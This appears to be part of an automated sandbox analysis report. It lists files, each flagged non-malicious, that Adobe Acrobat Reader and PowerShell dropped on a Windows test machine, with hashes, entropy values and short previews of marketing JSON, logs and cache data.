MD5:	645369456323D3BB9B68A10259D157B7
SHA1:	8F3256DCA3467580AF115C72827B9B20EC8171C2
SHA-256:	66354EAEE0D08C3D94503EB21C54B5E3C0B903E4CF1E1B16D303F421706BE54D
SHA-512:	E2B58CED0666F7C1BCB78EBB72525228CD7237D16A52F1D98407027FE81C0C08079D4656DA40C2DF16C6A305182C129F5C26E402663F32E769C32E608150D0FE
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"9a18204d-17a3-480e-a236-5d286744aa44","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736704133689,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.235779811496616
Encrypted:	false
SSDEEP:	6:YEQXJ2HXuVWs/MJnx+FIbRI6XVW7+0YmURR3oAvJf21rPeUkwRe9:YvXKXuv/MVUYpW7XURRYG+16Ukee9
MD5:	DDDE0DC6DB68C11AE07AC18CF029ED49
SHA1:	D2B822F2D00A7074241EBDC964DC98F84517C159
SHA-256:	806D3BA6ABF46916E68B74ED95CCB3EA4DFE92A6E9E8DF9C025449DFF397584D
SHA-512:	563685773569869F92CCFC6A7C22C5E69F07DEB0EAF56429D06C27E2EA80BEFAD40876386429B7ED3BA7DC03E596C1FA3A191EC3D3F28566069A16590C4E8F86
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"9a18204d-17a3-480e-a236-5d286744aa44","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736704133689,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.6589009835030115
Encrypted:	false
SSDEEP:	24:Yv6Xuv/wiXUdamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSdt:YvJv/nXgBgkDMUJUAh8cvMr
MD5:	6DB0C9045B64D7F88B9A69D94DF9065C
SHA1:	93119208EAB8CAE5D87ABDEA268A42AF81201721
SHA-256:	50A2BB0FA20E5C82E60829C49C361FE019514497A0D260E15A53125A9D220D3C
SHA-512:	6CD281945DDC95CDFD139463036FF3B79CA7F5B10FA06D1607E486E49381BEE9C3268123ECBC3982EF9896BFF4110D2777E3A6011AB98AFEAC4F4A54906E5445
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"9a18204d-17a3-480e-a236-5d286744aa44","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736704133689,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.209082356572315
Encrypted:	false
SSDEEP:	6:YEQXJ2HXuVWs/MJnx+FIbRI6XVW7+0YmURR3oAvJfshHHrPeUkwRe9:YvXKXuv/MVUYpW7XURRYGUUUkee9
MD5:	68CE77E98B488BD00C518BC130A90F27
SHA1:	D68C309E438FED9B252C88AD96BCD3D10DA244F9
SHA-256:	1982865C1D58B42442EA37EFE1F6D4AE53F397E25F3EE66CACDA0063927A4BE6
SHA-512:	1A43C7F95895980B317B2896F309566B4DCA5939AD14B64AF79E8FD5CAC4706D945CD05ACE8242E33E99EF15C62A317C2514C1F7B0ACC7338911531B11EDC160
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"9a18204d-17a3-480e-a236-5d286744aa44","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736704133689,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.220948591966111
Encrypted:	false
SSDEEP:	6:YEQXJ2HXuVWs/MJnx+FIbRI6XVW7+0YmURR3oAvJTqgFCrPeUkwRe9:YvXKXuv/MVUYpW7XURRYGTq16Ukee9
MD5:	5D086CBBD8352D56846F468708068B06
SHA1:	21DF17FD7E87CDE7A2398EEBC65F0A8632D973D0
SHA-256:	E5B1A026E5EA3AB5BE37BFCC37A3A4FE6315C0E532EB3E9881335B99AF2D8EF8
SHA-512:	7F332FC0439A2D8E79C1B36479500CCF30A236975E75F598369F2FE186BF73EF2BEF9376069B7C40820A19F9D1AD066A9F7F45214EDB411A4F1D5CE575628E5F
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"9a18204d-17a3-480e-a236-5d286744aa44","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736704133689,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.138541125455625
Encrypted:	false
SSDEEP:	24:YuiH2aoayMvoku7mqE3Jt68Lo333H3HVUH3mKig3Pjfij0S23fADj3C2S2LS23Rd:Y3Tg8L4ja8ivqwBAZu2kn9fu
MD5:	40B495C7837E5A9959DD83A624EBB390
SHA1:	BC46207A1932B917D0EB58B7A3F7C50256B1CE48
SHA-256:	76C0F6DD79C329270568054FD6C52F9632726C80136120A8C5D5D67CE90F2D38
SHA-512:	689693DC8BDC30C38A2455B4B50165E8720028786F2FDC054950C9E5446A948B8CF7494045F93CFD081CDAF0A35EE5B0D3FA907340C3A790051FEC62CA386C63
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"6e6e0b36a2dbd4ca8cd45035a156bcda","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736528320000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"7fde8d170ce9010b3fc1899dc1fb1692","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736528320000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"053a5169e767b3a284fac402e57d01f6","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736528320000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"3d71621756b68f10f52dcce74213cf05","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736528319000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"193bbda2b733e494294308cbc8fe1749","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736528319000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"3b4233e6f6ecf53a8831f1604e63b381","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 19, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 19
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	0.9854183736079445
Encrypted:	false
SSDEEP:	24:TLHRx/XYKQvGJF7urs6I1RZKHs/Ds/SpmW4zJwtNBwtNbRZ6bRZ4HWF:TVl2GL7ms6ggOVpEzutYtp6P3
MD5:	C1548A0E1B1FCE530914DF1B15C3AFCB
SHA1:	3818B0889D34F83747FC5F931EE9703202595F35
SHA-256:	92522F871FE025B610943FC64EC0682B6AC4DEBFB3B1319F9EC65FDED7B72FE7
SHA-512:	B1418554D678243DECDDF691E574783EA6F1B86DF39CC0DDCB70837370A6601EBA062EBEDD33B4BE713E3BBC514AF2DD9E5D3C7392B920F9135571D44CA984FC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.3383869400455164
Encrypted:	false
SSDEEP:	24:7+t4AD1RZKHs/Ds/SpmWPzJwtNBwtNbRZ6bRZWf1RZKnqLBx/XYKQvGJF7urse4:7M4GgOVp7zutYtp6PMiqll2GL7mse4
MD5:	3050EDCAD70C028C3E93569BE31ADE8A
SHA1:	63387F0DCBF11CF3B8916CD4E42FB48B396EBF13
SHA-256:	599F1518F9A4AABBE6932F162E41EFEEAC6C0975D4F157D536DCF70F1B476711
SHA-512:	68F528235C86604E088CDBD37A911E9933B46599FBC0ABA9B679270D0BB23A42D258B1868890A2204EB81ED149EF30337BAC205D1874349011220C54833378F8
Malicious:	false
Preview:	.... .c......r........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................j...#..#.#.#.#.#.#.#.#.7.7........................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgyMJOI3sCarbO6j6EPWp7VjibeYyu:6a6TZ44ADEyMJOasCWbO6UiSK
MD5:	DB69DD875606118D18CFE3D086405EB6
SHA1:	F5754CB443605E663F6BF94E59BB1A8A74BAB94A
SHA-256:	09956D28EF8A2DB08C56BA598C65BA3A14C8D2240B9F671525B552DF1A07C8DD
SHA-512:	3F072C2ABC28AC0F0EAED5E704FC1091A103D05D65DE168CE5C2B017B7B219066DF27B0866C926826D81F40C3715112F6C4E243A0941F18C4B71710A1A288418
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:Nlllul7got/Z:NllUkot
MD5:	71995B6B43EA2A2D49079E9E99E8D184
SHA1:	A55CE57E044A814007D3EE7DCCF1527EF391036A
SHA-256:	FD011C1349ABA970E984930A34129F61F60BF70A92E4E1748C4DCFFA3E22DFBF
SHA-512:	6CFBFC9B41995E53733EDCEC9747C4B7EA800D267145D6A879637CBC2B96E06C1D8CFEE9CDC59A6E57A32AEFE5A941448A029B16F4B2A11EF8CC0F579352509A
Malicious:	false
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\MSI817df.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.5085442896850614
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClEc:Qw946cPbiOxDlbYnuRK+bDc
MD5:	804D793BB1716BC63ACD042341733C31
SHA1:	7BE08810158B779DD60B0658ED67E245DCCF7663
SHA-256:	D84E13C4FA82C74018C1B6F91B087C59DB267D44AC2CECE5D7A2D9999490486A
SHA-512:	54F1566F29E653E7DDEAA62CDB10869F9374A7EC33E7DED94B75A9916D14815F5C8C0B88B178912EABA8267BFADF577F6138EA5CEFD18A786265BF5E180F026A
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .1.1.:.5.9.:.0.4. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_nmq1xyty.frg.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_pin43g4z.igx.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 11-58-31-516.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.376360055978702
Encrypted:	false
SSDEEP:	384:6b1sdmfenwop+WP21h2RPjRNg7JjO2on6oU6CyuJw1oaNIIu9EMuJuF6MKK9g9JQ:vIn
MD5:	1336667A75083BF81E2632FABAA88B67
SHA1:	46E40800B27D95DAED0DBB830E0D0BA85C031D40
SHA-256:	F81B7C83E0B979F04D3763B4F88CD05BC8FBB2F441EBFAB75826793B869F75D1
SHA-512:	D039D8650CF7B149799D42C7415CBF94D4A0A4BF389B615EF7D1B427BC51727D3441AA37D8C178E7E7E89D69C95666EB14C31B56CDFBD3937E4581A31A69081A
Malicious:	false
Preview:	SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:961+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.354594223894548
Encrypted:	false
SSDEEP:	384:kkA0JlQGsEPvKzLz1JD0OEneu1Se9MAiVuUgamq2vovevAXVhqdq32VXxgqobGmP:H0b
MD5:	A520040725319E68C8CA8D3721DFA94D
SHA1:	E763D3F6032F2AAF9D9B61AF0209D336099248F2
SHA-256:	3426B1F4F480B71B3D7FD937F39AD4CAA850A856770968AC83CAABCB64C487A5
SHA-512:	2F1835E25AF9568CCC0A6BFD38B79FD5B8C4F1824410621A54D43350252425AA2E9ECFF9B19F0A90F5E82CD7D6BED35FA09518C99F3EE1F78D21B62EB8A674FF
Malicious:	false
Preview:	SessionID=0ba447ff-c5d2-4a00-a6b0-ae6c1b8bbd9b.1736528311536 Timestamp=2025-01-10T11:58:31:536-0500 ThreadID=7448 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=0ba447ff-c5d2-4a00-a6b0-ae6c1b8bbd9b.1736528311536 Timestamp=2025-01-10T11:58:31:550-0500 ThreadID=7448 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=0ba447ff-c5d2-4a00-a6b0-ae6c1b8bbd9b.1736528311536 Timestamp=2025-01-10T11:58:31:550-0500 ThreadID=7448 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=0ba447ff-c5d2-4a00-a6b0-ae6c1b8bbd9b.1736528311536 Timestamp=2025-01-10T11:58:31:551-0500 ThreadID=7448 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=0ba447ff-c5d2-4a00-a6b0-ae6c1b8bbd9b.1736528311536 Timestamp=2025-01-10T11:58:31:551-0500 ThreadID=7448 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.398337317114607
Encrypted:	false
SSDEEP:	768:GLxxlyVUFcAzWL8VWL1ANSFld5YjMWLvJ8Uy++NSXl3WLd5WLrbhhVClkVMwDGb/:Q8
MD5:	3522B83C731A38DB048F339E8293DBFC
SHA1:	12C3AA9A24A18BA9D216E77BD4A8DDBFBCE664BC
SHA-256:	94A8155F2C5D8912DC9500C49F5F8CEBE2DF3EFD6BD7C47CCD71C603410BE7AB
SHA-512:	08834E44EEA3A7299AB8F955FF4F80F9692FDAA7D82455A2E80C3CCED2C3D88AE2C4B33A73069244B8FC629EAE3E2289E3315A05021397F4A1278FAD0B1F2D20
Malicious:	false
Preview:	04-10-2023 02:39:31:.---2---..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : *************************************..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : ***********************************..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : Starting NGL..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..04-10-2023 02:39:31:.Closing File..04-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\2ef2e890-fa8b-46e0-91f9-f286ab61fa82.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\664f4aba-c46b-473c-88f1-4cbdec3140ea.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\f4d98d3e-3603-4aaf-8ba5-f38011035b49.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 42290
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/VRbdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07WWL07oXGZnYIGNPJF:tRb3mlind9i4ufFXpAXkrfUs0qWLxXGY
MD5:	9543A6C1DE815E938F6AA0F90F2EF0C6
SHA1:	62B527E0463D71548862DE000950E638F3721582
SHA-256:	8A4B4F588D79D2AF9E617936932D8264DF9017D80A68F8D39E5EA36B14D76F1D
SHA-512:	50A26B895BA1F40B2ADE59996A1A89EBAFE67CB9F7B4F3A029382B6966E75F8BAD3551D25F29391C58A7EDC206F7DAF1D07F68F5E458E3A5D02556EACA377B0D
Malicious:	false
